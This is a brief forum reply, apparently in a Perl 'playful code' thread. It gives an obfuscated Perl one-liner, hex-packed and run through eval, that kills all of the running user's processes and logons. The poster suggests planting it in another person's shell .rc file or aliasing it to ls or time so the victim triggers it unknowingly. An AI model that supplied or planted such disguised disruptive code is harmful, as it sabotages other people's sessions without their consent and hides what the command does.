in reply to Playful Perl

Put this somewhere in his shell .rc file. Maybe set it as an alias to some command like ls or time. It evals to kill(-1,-1) which will kill all logons of the user running it.
#!/usr/bin/perl eval pack("h*","5687563602177782b696c6c602d21302d21392");